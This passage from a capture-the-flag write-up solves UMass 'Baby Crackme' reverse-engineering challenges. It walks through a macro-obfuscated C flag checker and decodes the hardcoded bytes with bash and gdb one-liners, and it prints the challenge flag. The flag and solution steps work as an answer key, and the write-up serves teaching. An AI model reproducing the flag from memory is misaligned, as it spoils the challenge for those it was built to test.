        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">83</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">123</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">118</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">7</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">49</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">114</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">9</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">55</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">117</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">11</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">52</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">108</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">13</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">95</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">14</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">109</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">15</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">52</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">99</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">17</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">104</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">18</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">49</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">110</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">51</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">21</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">53</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">22</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">95</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">23</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">52</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">24</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">114</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">25</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">51</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">26</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">95</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">27</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">99</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">28</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">48</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">29</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">48</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">30</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">108</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">31</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">125</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

    <span class="nl">fail:</span>
        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>

    <span class="nl">exit:</span>
        <span class="k">return</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>

    <span class="n">fgets</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">),</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">))</span> <span class="p">{</span> <span class="o">*</span><span class="n">strchr</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">check_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"License key accepted.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"Try again.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

</code></pre></div></div>

<p>This challenge is pretty similar to Crackme I, it may just not look like it at first.
The reason behind that is because the author obfuscated the code slightly by using custom macros to achieve pseudo assembly.
The assembly language level is primarily where binary reverse engineering is performed.</p>

<p>Luckily this function’s main is identical to the prior challenges.
The main difference here is the <code class="language-plaintext highlighter-rouge">check_flag</code> function.
As I said earlier the author utilizes custom macros to define assembly instructions.
There is essentially just one block that is repeated over and over.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
<span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="err">#</span><span class="mi">1</span><span class="p">);</span>
<span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
<span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="err">#</span><span class="mi">2</span><span class="p">);</span>
<span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>
</code></pre></div></div>

<p>In this block we load the flags register and grab an address offset from it.
Following that we pull the actual contents of the address in register.
Finally we do a comparison against a hardcoded value.
If the comparison fails we jump to the fail block, otherwise we keep going.</p>

<p>The only values that change in the block are #1 and #2.
For each consecutive block #1 is incremented, this is acting as the array, or string index.
The #2 value is being used as the hardcoded value that the character SHOULD equal.
The #2 value is what we need for the flag!</p>

<p>Like the past challenge I used bash to solve this one, for this it makes a little bit more sense because you’d have to pull out the values by hand and convert them to ASCII which is a pain.</p>

<p>First lets pull away everything except the <code class="language-plaintext highlighter-rouge">CMP</code> statements as those contain the values we need.
This can be achieved with the <code class="language-plaintext highlighter-rouge">grep</code> command, unfortunately when CMP is defined it is pulled too so lets ignore that will <code class="language-plaintext highlighter-rouge">tail</code>.
After we pull out the <code class="language-plaintext highlighter-rouge">CMP</code> lines we need to pull out the value which can be achieved with <code class="language-plaintext highlighter-rouge">cut</code> like in the prior challenge.
Just like before we now have our “flag” except all the values are on separated lines and still in the decimal equivalent and not in its ASCII printable form.
So instead of deleting all the newlines this time we will iterate over each line and convert it to ASCII using <code class="language-plaintext highlighter-rouge">printf</code></p>

<p><code class="language-plaintext highlighter-rouge">for word in $(grep -i CMP crackme.c | tail -n +2 | cut -d ',' -f2 | cut -d ')' -f1); do printf "\x$(printf %x $word)"; done;</code></p>

<h2 id="flag-1">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{v1r7u4l_m4ch1n35_4r3_c00l}</code></p>

<h1 id="baby-crackme-iii">Baby Crackme III</h1>

<h2 id="prompt-2">Prompt</h2>

<p>… and I lost the source code to this one. But you’ve worked your magic for the past two, so I’m sure you can figure this one out?</p>

<hr />

<p>Welcome to hard mode! You’re going to have to learn to disassemble a binary.</p>

<p>Computers actually can’t run C or Java without compiling it down to “machine code” first. “Assembly” is a set of phrases we associate with certain “instructions” in machine code so that we can read it.</p>

<p>There are plenty of disassemblers out there, but an easy way of spitting out the assembly code to the terminal is:</p>

<p><code class="language-plaintext highlighter-rouge">objdump -D -Mintel crackme</code></p>

<p>But you’re going to have to do some digging on your own :)</p>

<p>Maybe try looking up “reverse engineering linux binary”?</p>

<p>Created by @Jakob</p>

<h2 id="hint-2">Hint</h2>

<p>Once you get the disassembly, this is very similar to Baby Crackme II.</p>

<h2 id="tldr-2">TLDR;</h2>

<p>Loading the binary in IDA we see that it calls a <code class="language-plaintext highlighter-rouge">check_flag</code> function.
Inside of that function it works almost identically to the prior challenge.
We can use <code class="language-plaintext highlighter-rouge">gdb</code> to dump out the function and then the same script as before to get the flag!</p>

<p><code class="language-plaintext highlighter-rouge">gdb -batch -ex 'file crackme' -ex 'disassemble check_flag' | for word in $(grep -i CMP | cut -d ',' -f2 | tail -n +2|cut -d ')' -f1); do printf "\x$(printf %x $word)"; done;</code></p>

<h2 id="solution-2">Solution</h2>

<p>For this challenge we are finally given a binary file instead of a source file.
This means I won’t be able to just open it in a text editor and look at the source code, but instead will need to use a tool to disassemble the binary into assembly.</p>

<p>There are a bunch of good tools out there my favorites are either Ghidra or IDA.
IDA has a nicer interface but it does not have as much features as Ghidra; in the free version that is.</p>

<p>Regardless, once the binary is opened in a disassembler the <code class="language-plaintext highlighter-rouge">main</code> function should pop up.
The main is pretty simple (it’s actually the same main we’ve seen before).
We can see a call to <code class="language-plaintext highlighter-rouge">fgets</code> to get the user input and after that the calls to <code class="language-plaintext highlighter-rouge">strchr</code> to remove the newline.
After those calls <code class="language-plaintext highlighter-rouge">check_flag</code> is called and based on its output we either get the good or bad message just like before.</p>

<p>So just like before let’s check out <code class="language-plaintext highlighter-rouge">check_flag</code>.</p>

<p><img src="/assets/images/posts/umass/crackme_iii_main.png" alt="" /></p>

<p>For someone not too familiar with reversing  <code class="language-plaintext highlighter-rouge">check_flag</code> may look pretty complicated, but after you understand what is going on it isn’t really.</p>

<p><img src="/assets/images/posts/umass/crackme_iii_check_flag_graph.png" alt="" /></p>

<p>The first few lines checks the strings input to see if its the right length.
If it is we keep going.
Then we perform four lines of assembly; this should look very familiar.
